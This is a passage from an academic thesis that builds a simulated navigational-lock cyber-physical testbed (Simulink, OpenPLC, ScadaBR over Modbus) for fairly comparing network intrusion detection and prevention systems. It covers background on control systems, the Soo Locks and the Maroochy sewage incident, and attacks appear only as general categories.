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CHAPTER ONE

Introduction

This chapter details the hypothesis and contributions of this paper, as well as provides an
overview of the following chapters in this publication.

1.1 Overview
As technology advances, with new and innovative ways to automate activities and
process information, security for these systems must be reassessed and redesigned in
order to keep pace with the growing number of threats [1]. As hackers’ techniques
improve and new methods are developed to compromise computer systems, new defenses
must also be created and implemented in what could be described as a game of catch-up.
One such area of technology in need of stronger defense is that of cyber-physical
systems (CPSs), some of which may be referred to as supervisory control and data
acquisition (SCADA) systems in other literature. A CPS is defined as a system in which
changes in a digital component have an impact in the physical world.

From car

manufacturing robots and weapons systems to oil pipelines and hydroelectric dams, CPSs
have become an integral part of society.

Many aspects of daily life, such as

transportation systems and city utilities, rely heavily on digital systems to monitor and
control mechanical functions. In manufacturing plants, these systems include conveyor
belts and the heavy machinery used to lift, cut, and assemble products; in gas and oil

1

pipelines, as well as hydroelectric dams and other water retention systems, the flow and
pressure of the fluids contained are monitored and controlled by a computerized system.
In all instances, a failure of the CPS can potentially lead to extensive property damage,
economic tolls, and loss of life.
Protecting CPSs is of particular difficulty due to their criticality. In order to
install a software update to patch a security flaw, the control computers must usually be
rebooted, which requires the entire system those devices are controlling to shut down
temporarily [2]. In the case of critical infrastructure, such as power distribution, halting
the CPS’s operation for frequent software maintenance is not considered feasible.
Because of this, these systems may operate for extended periods of time with known,
unrepaired vulnerabilities.
Modern CPSs are becoming more integrated with high-speed networks, many of
which use off-the-shelf technology that was not designed for such high-stakes systems as
critical infrastructure [3]. Therefore, these systems must now be protected, often by
retroactively adding network intrusion detection and/or prevention systems (NIDS/IPSs)
to the PLC used to control the physical portions of the system. A variety of issues may
arise when implementing an NIDS/IPS.

Along with the difficulties in accurately

determining what incoming data is and is not malicious, the memory space and
processing power required for many NIDSs can be burdensome to less powerful systems
such as PLCs. In the specific case of CPS controllers, limited resources mean that host
NIDSs cannot be installed [4].

2

The first suspected cyber attack on a critical infrastructure CPS occurred in 1982,
when it has been hypothesized that a Trojan horse virus on a controller for the Siberian
Pipeline caused a portion of the pipeline to explode [5],[6]. While some scholars argue
that this explosion may have been caused merely by operator error, there have been
enough CPS hacking incidents since the early eighties to justify concern [7]. A timeline
of critical infrastructure attacks from [8] shows that attacks on pipelines and utilities,
including multiple water systems, have increased greatly in the past ten years.
While numerous methods have been developed to detect attacks on computer
systems, this paper focuses on those with usefulness in the protection of CPSs. Securing
critical infrastructure, such as dams, from cyber attack is an important step in reducing
the likelihood of a dam failure and the resulting losses of property and human life.

1.2 Hypothesis and Contributions
The hypothesis of the research presented in this paper is that a software model of a
navigational lock, along with accompanying testing methodologies, can be useful in CPS
cybersecurity research by allowing for fair comparison of NIDS/IPSs across systems and
devices during initial testing and independent review. There are three contributions
presented by this research: the software model and testbed, the methodology and attacks
developed for testing and comparing CPS NIDS/IPSs, and the reproduction and
comparison of selected NIDS/IPSs. An overview of these contributions is presented in
Table 1, with in-depth descriptions to follow.

3

Table 1: Contributions of the proposed work
No. Contribution

Description

1

Modular software model of a navigational lock, to be used to test

Testbed

the effects of attacks and defenses of CPSs
2

Methodology

Process for testing NIDS/IPSs, including a set of eleven network
attacks, a set of acceptable network traffic, and a list of criterion
for comparisons

3

Independent Review Reproduction and testing of three NIDS/IPSs from literature

First, the researcher utilized her previous experience in creating modular software
models of CPSs, including an emergency generator system and a missile system, to
construct a simulated navigational lock and its accompanying networks and control
devices. This model contains the five basic segments of a CPS, as discussed in the
literature search in the next chapter, and will thus be usable as a testbed to observe the
usefulness of these NIDS/IPSs against the chosen attacks, as described further in this
document.
There are two primary reasons a modeled navigational lock is useful as a testbed.
Firstly, because the design of a lock’s components is relatively simplistic, researchers
using the model may focus more on the direct effects of vulnerabilities without needing

4

an excessive background knowledge on the system’s operation.

Researchers not

associated with the creation of the model will not have a steep learning curve in
understanding how the different parts work. However, the physical portion of the system
is complex enough to allow for chain reactions as an effect of an attack, such as a loss of
control of the lock’s emptying valve resulting in a change in chamber water level that
would thus prevent a ship from passing through.
Secondly, the virtual model is of benefit to researchers working on CPSs aside
from locks because this model is comprised of those aforementioned CPS segments.
Therefore, this work can be used to represent a generic system and facilitate research on
the majority of CPSs structures. If a certain attack on the PLC subverts an intrusion
detection system (IDS) and causes a physical change in the navigational lock model, it is
likely that the same effect would occur in the case of another similarly-networked type of
CPS. For example, though an attack to send false commands on a manufacturing robot
may move a claw, as opposed to a gate on a spillway, the result is the same in that a
physical component was moved by an attacker’s command over a CPS network.
The specific system inspiring the design of the software model used in this
research is the Sault Ste. Marie lock system, which is managed by the United States
Army Corps of Engineers (USACE) and is located between Lakes Superior and Huron on
the St. Mary’s River on the Canadian/American border. The lock system is a dam
comprised of a spillway, locks, and a hydroelectric plant used to power the locks; this
system as a whole is often referred to simply as “Soo Locks”. For the reasons of
simplicity mentioned previously, only the lock portion itself was modeled.

5

The second contribution of this research is the testing methodology as a whole. In
the papers found in the preliminary literature search, each proposed NIDS/IPS was tested
against a set of attacks chosen by its designer, but there is no cohesive approach to use to
compare these systems against one another. A series of attacks, based upon those found
most frequently mentioned in the literature review and designed to encompass three types
of network attacks (reconnaissance, man-in-the-middle (MitM), and denial of service
(DoS)), was created to encompass numerous likely scenarios faced by a CPS. This entire
series of attacks was used against each of the selected NIDS/IPSs. While not an
all-encompassing set of threats, the ones chosen for this research provide a diverse
representation of potential attacks faced by a CPS.
A set of acceptable system network traffic was created for this comparison
methodology as well. This traffic represents daily operation of the dam under normal
conditions, with ships entering and exiting the locks and spillway gates operating on a
predefined schedule. By implementing the attacks while legitimate network traffic is also
being sent, the researcher can better test the examined NIDS/IPSs’ abilities to detect
attacks versus false positives on the system during standard operation.
This second contribution also includes a “scorecard” to be used to judge the
effectiveness of the defenses.

Comparison points include the percentage of attack

packets detected, the number of false positives and negatives, and execution time, with
the option to add other comparison points as deemed necessary. This methodology will
create a standard to be used for future comparisons of NIDS/IPSs, and thus allow for
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easier comparisons of systems amongst researchers, while allowing room for additions of
other attack types and judgement criteria.
This testing methodology will act as a starting block for other researchers who
intend to further implement independent review using the testbed contributed by this
work. Additionally, by advocating using the same set of attacks and traffic on all tested
systems, this research further creates an environment for fair comparison of security
solutions.
Lastly, this research contributes a furthering of the importance of independent
review in the field of cybersecurity. Papers proposing innovative solutions to system
defense and protection are presented and published frequently, but these potential
solutions are of little use in the real world if they are not reproducible. If other engineers
and system designers cannot recreate the successes boasted by these publications, the
research into protecting devices and networks does not “advance the field”. In some
cases, these published solutions may only function well under very select circumstances.
While each proposed security solution, in this case each NIDS/IPS, may be successfully
validated using attack scenarios chosen by the researcher(s) who developed them, this
paper intends to show that independent review of these systems is necessary in order to
compare them and determine which system is most statistically effective for real world
use in defending against a wide range of plausible cyber attacks.

The simulation

developed in this paper was used to implement and test previously published NIDS/IPSs
in order to determine their viability not just specifically on a dam, but also on CPSs as a
whole, using the methods in the second contribution. Peer reviewing NIDS/IPSs by
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implementing them on this model allowed the researcher to verify these systems’
functionality on a level playing field while discovering vulnerabilities and exploring the
viability of these defenses.

1.3 Organization
This document is organized as follows. Chapter Two contains necessary background
information on CPSs, particularly navigational locks and their operation; Chapter Three
discusses the virtual testbed designed in this research; Chapter Four explains network
attacks developed for use against the testbed; Chapter Five contains a review of the
varieties of NIDS/IPSs, descriptions of previously published extant defenses, and the
ways in which a select three were recreated; Chapter Six covers the methodology used to
test and compare the NIDS/IPSs and provides a review of the results of the tests; and
Chapter Seven proposes future work in this area and a conclusion of the research
presented in this document.
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CHAPTER TWO

Preliminary Literature Reviews

Understanding the components and usage of CPSs and, more specifically, navigational
locks, is crucial to a researcher’s ability to study the attacks and defenses necessary to
protect them. In this section, the author presents a summary of literature reviews on
CPSs and locks.

Further literature searches on network attacks and NIDS/IPSs are

presented in their respective chapters.

2.1 Cyber-Physical Systems
CPSs can be broken down into five primary segments: the physical system, the network
connecting this system to a programmable logic controller (PLC), the PLC, the network
between the PLC and the control center, and the human-machine interface (HMI) in the
control center [9]. These five segments are depicted in Figure 1.

Figure 1: The five basic segments of a CPS
Because of the high stakes associated with hacking a CPS, which can be costly to repair
and cause harm to life and property when malfunctioning, researchers often use small
scale or software models to perform cybersecurity testing of CPS defenses [10].
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The physical system, the segment labeled with a 1 in Figure 1, is the portion of
the CPS with moving, mechanical parts, generally including valves, fans, and hydraulic
pumps. Additionally, any sensors used to read data from and actuators used to control
the mechanical segments are considered part of the physical system [11]. In the case of a
spillway, the portion of a dam which holds back the reservoir water, the movable gates
used to regulate the flow of water can be controlled via a computer, making them a
cyber-physical segment.
The physical system connects to the PLC via a wired or wireless connection used
to send and receive data. The “supervisory control” part of the SCADA acronym refers
to actuator data, or commands, sent to cyber-physical portions, while the sensor data,
such as readings from thermometers and flow and depth sensors, comprises the “data
acquisition” portion.

The protocols used in CPS communication include Distributed

Network Protocol (DNP3), Modicon Bus Protocol (Modbus), Inter-Control Center
Communication Protocol (ICCP), Process Field Net (Profinet), and many proprietary
protocols [11],[12]. The most commonly used of these is Modbus, due to its simplicity
and availability as an open-source protocol without licensing fees [12]. The Modbus
protocol will be used and examined in the research proposed by this paper.
PLCs are used to control the physical system, as well as relay information to the
human operators.

These microcontrollers commonly have a limited memory and

processing abilities, with just enough power and storage to perform the task they were
initially programmed to do [4]. Register values in the PLC are modified and the program
logic installed on the PLC is executed with the sensor data received from the physical
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system and the commands received from the human operator. PLCs are programmed by
firmware, which is usually written in one of the five languages defined in the IEC
61131-3 standard [11],[13]. For this research, the open-source OpenPLC software will
be run on a Linux operating system and used as the PLC platform, with the firmware
written in ladder logic in the PLCOpen editor and uploaded to the PLC using the
structured text (ST) format [12].
CPS networks differ from “conventional” enterprise networks in that they are
real-time systems in which availability and timeliness cannot be sacrificed [14]. Delays
in the sending of CPS sensor data or commands could result in issues if the received data
is no longer current and valid or if the control signals arrive later than intended. Because
CPSs impact the physical world, these issues could result in safety concerns. The actual
type of network over which the communication is sent varies by system, but examples
include both wired and wireless networks [14]. The network between the PLC and the
system operation software in the proposed research uses Modbus/TCP protocol on a
simulated wired network.
The human operators of the CPS often control and monitor the system(s) under
their supervision remotely, rather than being physically near the controlled system at all
times.

HMIs are used to display data and provide input sources; this is often

accomplished through software, with the operator viewing information on a graphical
user interface (GUI). HMIs may use computer screens, with graphs and clickable control
buttons, or may have a hard control panel with dials, seven-segment displays, and other
physical components.

These HMI programs are sometimes run on commercially
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available systems such as non-industry-specific desktop computers, leading to increased
vulnerability [3].

For the purpose of this research, ScadaBR, an open-source HMI

software, will be implemented on the simulation’s host computer and viewed using an
internet browser [15].

2.1.1 Previous CPS Modeling Work
The author has previously used virtual testbeds in CPS security testing. In this prior
work, an emergency backup generator was modeled by Aaron Worth, Jesse Hairston, and
the author. This model included the five aforementioned segments of a PLC.
The physical system in this generator testbed was created in Matlab Simulink, just
as the navigational lock in this work, and based upon an extant generator simulation by
Yaeger and Willis and provided in the MATLAB software [16]. The example was
modified to include sensors to measure RPM (revolutions per minute), oil pressure, fuel
level, and temperature for the engine as well as the output power frequency, VRMS
(voltage root mean square), and IRMS (current root mean square). The generator in this
work is connected to a simple load, such as a motor for running pumps. A model of a fuel
tank was also added.

Additionally, the original example model contained a control

system for the engine’s governor, which regulates the fuel injection within the engine.
The rate at which fuel is injected impacts the speed at which the engine operates, and
therefore the frequency because the generator is a synchronous machine. This control
system was removed from the Simulink model and placed into the PLC’s ladder logic in
order to better emulate a real system and allow for a logical separation of the physical

12

model and its digital control system, which is normally implemented on a computer or
embedded system in industry.
In the generator testbed, the cyber-physical link was implemented as UDP packets
sent over a virtual network that connected the host machine on which the MATLAB
simulation ran to the virtual machine that served as the digital control system. The
purpose of this connection, which is similarly implemented in the navigational lock
model, was not to emulate a network but to use the send and forget property of UDP to
emulate a wired connection transferring information between the PLC and physical
system. Each of the sensors and actuators from the physical model was assigned a UDP
port on the PLC, and data to and from the physical model was sent and received by the
corresponding port.
The PLC was implemented on a Linux virtual machine equipped with OpenPLC
and served to monitor the sensor data, including the temperature of the engine and the
speed of the engine shaft in revolutions per minute as well as other information.
Additionally, the PLC regulated the speed of the engine by means of a control algorithm,
and control signals were sent from the PLC to actuators on the physical system to dictate
engine speed and other operating conditions. Similarly, the monitoring and control of the
navigational lock is handled by the PLC and sent over the cyber-physical link to the
physical model.
In the generator’s ladder logic, the sensor readings were passed through
comparator blocks within the ladder logic.

If these values were outside of a

predetermined valid range, the PLC triggered a fault because, in a real system, there
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would be a potential for the system to be physically damaged. As safe operating ranges
vary from system to system, these valid ranges are stored within the PLC as editable
registers to allow operators to set the variables as needed.

The ladder logic also

contained a control loop to act as a governor for the generator shaft’s rotational speed.
The network between the generator testbed’s PLC and its HMI was implemented
as a virtual network with MODBUS TCP/IP protocol; this is the same method used for
the lock testbed.

In the model’s HMI, generator sensor data was displayed through

simulated analog dials and digital displays; both types of displays included the exact
sensor reading in their bottom left. A chart in the HMI displayed sensor readings over
time, allowing the operator to observe history and trends in fuel and oil levels, RPM, and
temperature.
This generator testbed was used to implement network and supply-chain attacks
in order to view their effects on the system. Unlike in the lock testbed research presented
here, no mitigations were tested on the generator.
The network attacks used against the generator included a DoS flooding attack, in
which an overwhelming number of packets were sent to the PLC in order to render it
unresponsive and thus unable to send updates to the HMI. In a real-world scenario, this
would prevent the user at the HMI from knowing the true situation for critical variables,
such as engine temperature. DoS flooding attacks are used in this work against the lock
model to test the IDS/IPSs.
Two MitM network attacks were also implemented. One was an injection attack,
in which the attacker sent a command to the PLC to change a value stored in memory to
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be ten times as large as the original value. Because of this, the control system was unable
to settle on a desired angular velocity for the generator shaft, and thus the generator’s
behavior became chaotic. Injection attacks are also used in the IDS/IPS testing in this
paper.
The second MitM attack implemented against the generator testbed in order to
determine its effect on the system was an alteration attack, in which network traffic is
intercepted by an attacker and then modified. The attacker then sends these altered
packets to the intended destination while disguising that the packets are not coming
directly from the legitimate source.
The supply chain attacks implemented on the generator were a software Trojan, in
which malicious code executed on the PLC after a set amount of time, and a hardware
Trojan, in which a sensor on the simulated physical system supplied false readings to the
PLC. While both of these affected the generator CPS, neither was implemented via the
network between the PLC and the HMI; for this reason, the supply chain attacks were not
included in the attack set used against the navigational lock testbed.
Information gained from the construction and testing of the generator model and
attack implementations was used in the research documented in this work on using a
virtual testbed of a CPS

2.2 Navigational Locks
In this paper, one specific type of CPS, a navigational lock system such as those found on
dams, was modeled and analyzed with regards to cybersecurity as a representation of
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CPSs as a whole. Dams are structures created from rocks, dirt, and/or concrete that are
used to control the flow of water, resulting in a reservoir on the higher, upstream side
and, when water is passed through the dam, a tailwater on the lower, downstream side
[17]. Depending on the intended purpose(s), such as flood control, recreation, water
diversion, navigation, or power production, multiple components can be built into a dam,
including spillways, hydroelectric power producing turbines, and navigational lock
chambers. In all cases, a structural failure could result in an increase of water flow to the
downstream side, a loss of ship traffic throughput for navigational locks, and a loss of
electricity to customers in the case of a hydroelectric dam [18]. Dams are considered
CPSs because they contain real, physical parts that can be manipulated by cyber
components such as a control computer, and as dams contain the same five segments
shown in Figure 1 and found in the majority of CPSs, a model of a navigational lock in a
dam can be considered representative of most CPSs in terms of cybersecurity testing.
In order to allow ships to pass through a dammed portion of the waterway and
raise and lower vessels between the reservoir and tailwater, navigational locks are
installed in dams. As such, they are a critical part of commercial infrastructure, as ships
carrying supplies for manufacturing would not be able to pass through many waterways
without these systems. Figure 2 is a modified USACE drawing; this image illustrates the
layout of a standard navigational lock [19]. In this diagram, the reservoir is on the left
and the tailwater is on the right.
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Figure 2: Components of a navigational lock as viewed from the side [19]
Locks vary in size from location to location, but the basic structure remains consistent
across designs. Boats enter into the lock, miter gates close behind them, and the water
level raises or lowers to match the water level of the destination. This is done not by
pumping water in and out of the chamber, but by gravity alone. When the filling valve is
open, water flows into the chamber from the reservoir until the levels at equilibrium. At
this point, whether the valve is open or not, water will not flow. The same is true of the
emptying valve; water will not flow once the chamber and tailwater levels are equal.
This also means that the chamber water level can never be higher than the reservoir’s
level or lower than the tailwater’s level.
When the levels are equal, the gates on the opposite side open and the boats exit.
The aforementioned miter gates consist of two swinging panels opening to the upstream
side. When the gates close, the panels meet at a slight angle pointing upstream. The
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difference in water level when the chamber depth does not match that of the reservoir or
tailwater creates enough pressure to prevent the gates from opening, as the panels would
have to swing upstream towards the deeper water. This gate design adds a level of
security, as they physically would not be able to move if the locks’ control system was
hacked to send commands to open the gates when the water levels were drastically
different. This design, drawn from the view of the lower depth side, is shown in Figure 3
in an illustration by the inventor of the miter gate, Leonardo Da Vinci [20].

Figure 3: Da Vinci’s sketch of his miter gate design [20]
The following is an example of a lock usage scenario in which a ship passes from the
upper approach on the reservoir side to the lower approach on the tailwater side; this
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example is based on the information in [21] and is displayed in Figure 2 [19]. In Figure
2, this movement would be left to right.
First, the controller must first check that the water level in the chamber is even
with that of the reservoir. Note that this does not mean that the actual depths of the
reservoir and chamber are equal, but that the water levels are even. This means that the
chamber depth must equal the reservoir depth plus the sill height, the difference between
the reservoir and tailwater levels, as shown in Figure 2. If the chamber and reservoir
levels are not equal, the upper gates will be unable to open due to the design of miter
gates. To fill the chamber, the operator opens the filling valves to allow water from the
reservoir to enter the chamber; this is step one in Figure 4. When the levels are equal,
water will stop flowing because the two will have reached equilibrium. At this point, the
upper gates will open and the ship will enter the chamber, demonstrated in step two of
Figure 4. Once the ship has been secured, the upper gates will close. At this point, the
filling valves will also be shut. These are steps three and four, respectively, in Figure 4.
To actually lower the ship, the operator will decrease the depth of the chamber by
opening the emptying valves, as in Figure 4’s step five. Water will drain out of these
valves until the chamber and tailwater are at equilibrium and the lower gates can open.
Then, the ship will proceed outwards. This is step six, the final panel in Figure 4.
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Figure 4: The stages of lock operation [19]
To take a ship from the lower side to the upper side, and thus upstream, this same process
is performed in reverse. There are around 10,000 lockages per year at the Soo Locks, and
the locks are open from March 26 to January 14, which averages out to approximately 33
lockages per day the locks are in operation [22].
Because locks allow the passage of freighter ships transporting cargo used in
manufacturing and other industries, time is of the essence when raising and lowering the
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water level. The entire process of going through the Soo Locks, from approach to exit,
takes forty-five minutes to an hour [22]. The Poe Lock, the largest of the Soo Locks
system, fills and drains in fifteen to twenty minutes, with the water level in the chamber
changing twenty-one feet in that time [22]. With dimensions of 1,200 feet in length and
110 feet in width, this equates to a flow rate between 1,036,800 and 1,382,400 gallons per
minute. If the locks take longer than expected to drain or fill, it can cause delays that
result in a bottleneck, as there is no alternate route through the waterway.
Navigational locks were specifically chosen for this project due in part to their
abundance in the United States and their importance to commerce and travel. The
USACE website lists over 120 locks currently in operation in the country [23]. The
USACE estimates that around 95% of the dams they manage are over 30 years old, and
the first paper on intrusion detection was not published until thirty-two years ago
[24],[17]. Because of this, it is unlikely that any networks or control systems installed in
these dams were designed with intrusion detection or other security measures in mind.
With the USACE estimating that it will cost more than $64 billion to structurally repair
America’s crumbling dams, it is unlikely that revamping the control systems is a top
priority [25]. Therefore, many PLCs used in dams are probably older, with less memory
and processing power than modern equipment.
Due to the hazards associated with the failure of a water retention system, the US
Department of Homeland Security (DHS) considers dams specifically a potential terrorist
target [26]. A 2017 study performed by the NIAC found that water utilities, including
dams, often lacked the tools and qualified staff members required to mitigate cyber risks
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[27]. This same report recognized that a malicious actor could affect physical processes,
including water flow, by hacking into a control system.
The most damaging successful hack of a water system was in 2000. The attacks
on Australia’s Maroochy Water Services, in which raw sewage was released onto
publicly and privately owned lands, including into waterways, caused over $600,000
USD in damage [28]. These attacks were performed over a series of weeks by Vitek
Boden, a disgruntled former employee of Hunter Watertech, the company who installed
the SCADA systems responsible for controlling Maroochy Shire’s sewage equipment in
Queensland, Australia [29]. After quitting his job and then being denied employment by
the Maroochy Shire Council, Boden used computer equipment stolen from his previous
employer to tamper with sewage pumping stations in the region.
Using a laptop and radio transmitter potentially stolen from Hunter Watertech,
Boden was able to communicate with and take control of 150 sewage pumping stations
over the course of three months [30]. By impersonating an existing pumping station,
Boden sent messages to other stations to alter their functions, often resulting in system
faults [29]. Though these communications were sent maliciously, they appeared to the
pumping stations as having come from a legitimate source. Additionally, Boden was able
to disable the alarms connected to multiple pumps.
Though the Maroochy attacks were performed on water treatment facilities and
not water retention systems, the resulting damage is similar in both instances. Opening
the gates retaining any sort of liquid, be it lake water or raw sewage, will result in
flooding. However, the volume released would be much larger in the case of many dams.
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During the Maroochy attacks, upwards of 210,000 gallons of sewage were dumped into
public and private property [5]. By comparison, the average reservoir storage of high
hazard hydroelectric dams in the United States is over sixty-six billion gallons, with 156
of the reservoirs held by dams in this category exceeding this volume [31]. The high
volume of water stored, combined with the knowledge that many parts of a water
containment structure can be controlled electronically, makes dams a viable target for
cyber attacks.
The specific navigational lock system inspiring the design of the software model
used in this research is the Sault Ste. Marie lock system, which is managed by USACE
and is located between Lakes Superior and Huron on the St. Mary’s River on the
Canadian/American border. The lock system is a dam comprised of a spillway, locks,
and a hydroelectric plant used to power the locks. This system as a whole is often
referred to simply as “Soo Locks”.
There are four navigational locks in the Soo Locks system; these are named Poe,
MacArthur, Davis, and Sabin [17]. Currently, only the Poe and MacArthur locks through
the south canal are open, and 86% of the tonnage passed through the Soo Locks goes
through the larger one, Poe Lock [22]. Poe is 1200 feet long and 110 feet wide, while
MacArthur is only 800 feet long and eighty feet wide, and [32]. Both locks have a depth
of thirty-two feet. The difference in water surface height between the reservoir and
tailwater is twenty-one feet, with twenty-two and ten million gallons required to fill the
Poe and MacArthur locks, respectively. A USACE project is currently underway to
create a new lock in the north canal to replace the currently closed Davis and Sabin locks.
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This new lock, as yet unnamed, is designed to be the same size as Poe, therefore doubling
the number of larger vessels the Soo Locks can accommodate [22].
It is estimated by USACE that 90% of the taconite, or iron ore, used in the
country is passed through the Soo Locks, meaning their unexpected closure could cause
manufacturing delays across the United States [32]. These locks are open for forty-two
weeks each year, with their only downtime being from 15 January to 25 March for repairs
and inspection [22].

Modeling portions of the Soo Locks will allow researchers to

evaluate the impact of cyber threats on this high-importance system, as well as determine
vulnerabilities and changes needed in order to better protect against hacking.
The Soo Locks system serves as a single point of failure for the transportation of
over 7,000 ships per year, making their protection from attack a priority for researchers
[33]. If the locks take longer than expected to drain or fill, it can cause delays that result
in a bottleneck, as there is no alternate route through the waterway. A long term,
unanticipated closure of the Poe Lock could result in a severe North American economic
recession along with 10 million jobs lost in the United States [34]. An additional concern
in the design of the navigational locks is safety, as filling or draining the chamber too
quickly could result in damage to the passing ships or the lock structure itself [17].
The hydroelectric plant at the Soo Locks is comprised of two powerhouses that,
combined, are capable of outputting 18.4 megawatts [35]. The electricity produced by
these two units is used primarily to power the locks, with the remaining power sold to
local utilities for use by civilians. This means that a failure of the powerhouses would
result in power shortages for both the Soo Locks and the nearby communities. Figure 5
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is a photograph of the Soo Locks, facing downstream, with yellow arrows pointing to the
hydroelectric production facilities [35]. The navigational locks can be seen on the right
side of the photo.

Figure 5: The hydroelectric plants at the Soo Locks [35]
The research presented in this work focuses only on modeling and analyzing the lock
portion of this system, but it is important to remember that other systems, including the
power production plants, may be impacted by a system failure.
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CHAPTER THREE

Navigational Lock Virtual Testbed

In order to create a virtual testbed of the locks, the system was broken down into the
physical model in Simulink, the control ladder logic run in OpenPLC, and the HMI in
ScadaBR, following the virtualization techniques detailed in [36] and the navigational
lock operations described in [17], [37], and [19]. These three main segments are detailed
in the sections below, followed by an explanation of the segments’ networked
connectivity and the testing performed to verify the virtual locks’ operation compared to
actual timing data and measurements from USACE studies and scaled down physical
models.

3.1 Physical System
The physical system is modeled in Matlab Simulink, as discussed in previous sections,
with sensor and actuator data sent to and from the PLC using user datagram protocol
(UDP). Each connection, such as the reservoir depth sensor or motor to open the lower
gate, is designated by a separate port. This is done to emulate a wired connection, since
with UDP each message packet is sent without authentication and without receipt
verification, much as a basic electrical pulse sent along a wire would. The connections
and their corresponding ports are detailed in Table 2, with the following sections
detailing more information on each connection and its use in the Simulink model. Each
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port is paired with only one system connection in order to emulate the wired connection
between a real physical system’s various sensors and actuators and a PLC.
Table 2: UDP ports and corresponding Simulink connections
Connection Usage in Simulink

Port Number

Upper Gate Open Command

22000

Upper Gate Close Command

22001

Lower Gate Open Command

22002

Lower Gate Close Command

22003

Fill Valve Open Command

22004

Fill Valve Close Command

22005

Empty Valve Open Command

22006

Empty Valve Close Command

22007

Warning Horn

22010

Chamber Fill Rate

23000

Chamber Empty Rate

23001

Upper Gate Position

23002

Lower Gate Position

23003

Fill Valve Position

23004

Empty Valve Position

23005

Chamber Depth

23006

Reservoir Depth

23007

Tailwater Depth

23008

Sill Height

23009
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The entire Simulink model is shown on the next page in Figure 6 in order to demonstrate
the large scale of this part of the project. There are five function blocks: Upper Gate
Position/Movement, Lower Gate Position/Movement, Fill Valve Position/Movement,
Empty Valve Position/Movement, and Change in Depth; these are each discussed in their
own sections of this document.

Additionally, this section describes the manual

emergency controls and the warning horn.
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Figure 6: The full Simulink model
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3.1.1 Upper Gate
The upper gate is located on the upstream side of the lock and used to allow ships in and
out of the chamber from the reservoir side. The upper and lower gate function boxes
currently share the same input values for Gate Fully Open, Gate Fully Closed, Amount
Gate Opens per Second, and Amount Gate Closes per Second.
The function block and connections for this upper gate, entitled Upper Gate
Position/Movement, is shown in Figure 7, with the functions contained shown in Figure 8
on the next page.

Like many other variables sent from Simulink to the PLC, the

upper_gate_position is multiplied by a constant, in this case 100, and later divided by this
same constant after it is received by the control code. This was found to be the easiest
way to preserve significant digits throughout data type changes in the system.
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Figure 7: The UpperGate Position/Movement function block
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Figure 8: Contents of the Upper Gate Position/Movement function block
32

The program first checks that the gate motor is not receiving both open and close signals
at the same time, as this would result in the motor not moving at all. The program also
checks that the gate is not already fully open, in the case of an “open” signal being
received, or fully closed, in the case of a “close” signal, as these scenarios would also
result in the motor not moving.

Additionally, the gates cannot move past these

boundaries. The speeds at which the gate opens and closes are based upon values found
in USACE studies of the Soo Locks, and those amounts are appropriately added or
subtracted to the upper_gate_position value (the “Gate position initial” input) when the
gate is opening or closing, respectively [38].

3.1.2 Lower Gate
The lower gate, which is located on the downstream side of the lock and used to allow
ships in and out of the chamber from the tailwater side, is programmed in the same
manner as the upper gate. The two gate function boxes currently share the same input
values for Gate Fully Open, Gate Fully Closed, Amount Gate Opens per Second, and
Amount Gate Closes per Second.
The function block and connections for this lower gate, entitled Lower Gate
Position/Movement, is shown in Figure 9, with the functions contained shown in Figure
10 on the next page.
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Figure 9: The Lower Gate Position/Movement function block
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Figure 10: Contents of the Lower Gate Position/Movement function block
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3.1.3 Filling Valve
The filling valve, which is located on the upstream side of the lock and used for filling
the chamber, contains the math used to determine valve movement and timing. The
function block for this upper valve, entitled Fill Valve Position/Movement in the
Simulink program, is shown in Figure 11, with the functions contained shown in Figure
12 on the following page.

Figure 11:The Fill Valve Position/Movement function block
The fill valve operates similarly to the gates discussed previously, with open and close
commands received from the PLC. The boundaries and speeds for the valve’s movement
are based upon those of the Soo Locks.
The emergency disconnect functionality is discussed later in this document, in the
Emergency section. The filling valve shares input values with the Emptying Valve for
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Valve Fully Open, Valve Fully Close, Amount Valve Opens per Second, Amount Valve
Closes per Second, and Emergency Override.
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Figure 12:Contents of the Fill Valve Position/Movement function box
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3.1.4 Emptying Valve
The emptying valve, which is located on the downstream side of the lock and used for
emptying the chamber, is programmed in the same manner as the filling valve. The two
valve function boxes share the same input values for Valve Fully Open, Valve Fully
Close, Amount Valve Opens per Second, Amount Valve Closes per Second, and
Emergency Override, meaning that these times and amounts are equal for both the filling
and emptying valves.
The

function

block

for

this

lower

valve,

entitled

Empty

Valve

Position/Movement, is shown in Figure 13, with the functions contained shown in Figure
14 on the next page.

Figure 13: The Empty Valve Position/Movement function block
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Figure 14: The contents of the Empty Valve Position/Movement block
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3.1.5 Chamber
The water depths are calculated in Simulink and sent to the PLC. The reservoir and
tailwater depths were set to constants for the research performed in this work, but these
may be modified to vary randomly within a reasonable bounds to emulate flooding and
other natural occurrences. At present, the constants that are used in the Simulink model
and then relayed to the PLC and HMI are the values for the reservoir depth, tailwater
depth, and sill height. The sill height is the difference in height between the surfaces of
the tailwater and reservoir; the sill height may also be described as the amount which the
chamber depth changes to go from its highest and lowest points.
Figure 15 shows the three aforementioned constants, stored as reservoir_depth,
tailwater_depth, and sill_height, connected to UDP Send and Display blocks. The sill
height value of 21.5 feet was chosen based upon readings on the Poe Lock in the Soo
Locks System. Note that these output values are multiplied by constants prior to being
sent, just as the aforementioned gate and valve position values.
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Figure 15: The reservoir depth, tailwater depth, and sill height constants
A function block was created in Simulink to calculate the flow rates in and out of the
chamber, as well as the change in chamber depth, based upon the gate and valve
positions. The function block itself, as well as its inputs and outputs, can be seen in
Figure 16. The contents of this Change in Depth block are shown on the next page in
Figure 17.
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Figure 16:The Change in Depth function block
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Figure 17: The contents of the Change in Depth block
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To calculate the change in chamber depth, the program multiplies a constant raise or drop
in feet per second by the percent the valve is open. Currently, these values are .00036
ft/sec for raising and .0003 for lowering. The products of these multiplications are
appropriately added and subtracted from the initial chamber depth. If the resulting depth
is above the maximum height, where the sill height plus reservoir depth is equal to the
chamber depth, the chamber depth is set to exactly the maximum. The same is true if the
chamber reaches its minimum value of equivalent to the tailwater depth.
The flow rate is calculated by taking the aforementioned product of the valve
openness percentage and the amount the water level rises or falls and then multiplying
that by the area of the lock’s water surface to get the change in water volume in cubic feet
per second. This amount is multiplied by 7.48, the conversion of gallons of water per
cubic foot, to get the flow rate in gallons per second. Equation 1 shows this calculation.

f low (gal/sec) = % valve open *

water level change (f t)
1 sec

* lock area (sq. f t) *

7.48 gal of water
1 cu. f t

[1]

When calculating flow rates, this function block must also take into account when
the system reaches equilibrium; at this point, no water will be flowing. The system is at
equilibrium when the height of the chamber water is equivalent to that of the tailwater or
reservoir, depending on whether the locks were filling or emptying. This is true whether
the gates are open or closed. Recall that the lower gate cannot open if the chamber and
